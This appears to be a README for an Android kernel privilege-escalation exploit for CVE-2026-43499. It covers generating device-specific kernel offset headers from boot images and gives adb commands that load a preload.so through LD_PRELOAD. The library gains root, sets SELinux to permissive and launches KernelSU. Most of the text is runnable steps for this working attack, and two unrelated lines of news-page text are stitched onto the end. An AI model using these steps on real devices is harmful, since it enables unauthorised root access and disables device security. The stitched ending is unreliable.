A local privilege escalation adaptation based on the kernel vulnerability CVE-2026-43499, integrating embedded KernelSU. Compiles and generates `preload.so`; upon successful exploitation, KernelSU will be started in `late-load` mode (jailbreak mode). Supports generating `target.h` from `(xbl_config.img / vendor_boot.img) + boot.img`. or other sources.
- [Linuxoid-cn/CVE-2026-43499-Poc-Analysis](
- [x-spy/CVE-2026-43499-popsicle](
- [Colorful-glassblock/duchamp-root](
>Unauthorized exploitation of vulnerabilities to damage, compromise, or gain access to computer systems is prohibited by law. This project is strictly for research, educational, and learning purposes, and may only be used in systems and environments for which prior authorization has been granted. Any use of this project is undertaken at the user's own risk. The authors and contributors assume no liability for any misuse of this project or for any damages, losses, or legal consequences resulting from its use.>
This repository already includes scripts for generating targets:
`tools/generate_target.py` is the entry script. It references and encapsulates all target-generation processes from the parent directory, ultimately producing a complete `src/targets//target.h` tailored to this repository’s source code. The script does not enforce the `CONFIG_DEBUG_INFO_BTF=y` setting in IKCONFIG. If the structure offset or percpu `entry_task` layout cannot be verified, a warning will be printed, and generation will continue. If no valid BTF is found in the image, for example, when the following message appears:
Valid vmlinux BTF candidates are not unique: []
The generator will enter **no BTF fallback** mode.
- It will then continue to retrieve function/global object symbol offsets from the current `boot.img`.
- Structure fields/layout macros that cannot be restored from BTF will inherit the template target; the default template is `rodin`.
- A warning will be written at the top of the generated header, indicating `without BTF` and the used template.
- This type of header ensures as much compileability as possible, but runtime reliability requires actual verification on a real machine. A fallback template can be specified:
tools/generate_target.py --project --boot boot.img --profile profile.json --template-target rodin
TARGET_TEMPLATE=rodin tools/generate_target.py --project --boot boot.img --profile profile.json
#### 1. Generate using `boot.img` + `profile.json`
make generate-target PROJECT= BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
tools/generate_target.py --project --boot /path/to/boot.img --profile /path/to/profile.json
The `profile.json` must include physical address information, for example:
#### 2. Detect the profile from a rooted ADB device
make detect-profile PROFILE_OUT=profile.json
Detect the profile and immediately generate the target:
tools/generate_target.py --project --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
#### 3. Generate with `(xbl_config.img / vendor_boot.img)` + `boot.img`
The script also exposes other entry points supported by the parent directory generator:
tools/generate_target.py --project --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project --boot boot.img --mtk-partitions /path/to/partitions
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
Generation successful: .../src/targets//target.h
`rodin` will default to retaining values verified on a real machine:
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
It is recommended to generate targets based on matching `boot.img` and `profile.json`:
make generate-target PROJECT= BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
- `pselect` layout values, such as `PSELECT_WAITER_WORD_SHIFT`
- `MM_STRUCT_SZ` and KernelSnitch parameter values
The current source code has been set to default values. To run it normally, simply set `LD_PRELOAD` and execute any program (it’s recommended to use `toybox id`).
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
The current default settings are as follows:
| Setting | Default Value | Description |
| `KSUD_LATE_LOAD` | `1` | Execute `ksud late-load` |
| `KSUD_ALLOW_SHELL` | `1` | Pass `--allow-shell` parameter |
| `KSUD_PACKAGE` | `me.weishu.kernelsu` | Package name passed to ksud’s manager (seems ineffective) |
| `KSUD_DST` | `/data/local/tmp/ksud` | Built-in ksud output path |
| `KSUD_SKIP_WRITE` | `0` | Skip writing built-in ksud by default |
| `KSUD_DEFER_TO_PARENT` | `1` | Start ksud from the patched parent/current process path |
| `ROOT_PATCH_SELF` | `1` | Patch the current process with uid 0 |
| `DISABLE_SELINUX` | `1` | Set SELinux enforcing to permissive when patching root |
| `ROOT_EXIT_SLEEP` | unset / `0` | No extra sleep before returning |
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
These environment variables can still be overridden during runtime, for example:
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
`make clean` will retain `build/embed/ksud`, because `src/ksud_blob.S` is embedded using the following method:
If manual cleaning causes `build/embed/ksud` to be lost, you can restore it by:
### `"incbin "build/embed/ksud"` not found
After restoring the built payload, rebuild it again:
`rodin` expects the legacy/simple pselect layout:
pselect returned attempt=1 ret=9 ... success=1
If the device state is contaminated by failed attempts, restart the device before trying again:
This is usually due to state issues caused by failed/remaining attempts. Restarting is the fastest way to fix this:
### `ksud` starts, but `/proc/modules` shows no KernelSU
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
If necessary, run it manually in the root shell:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
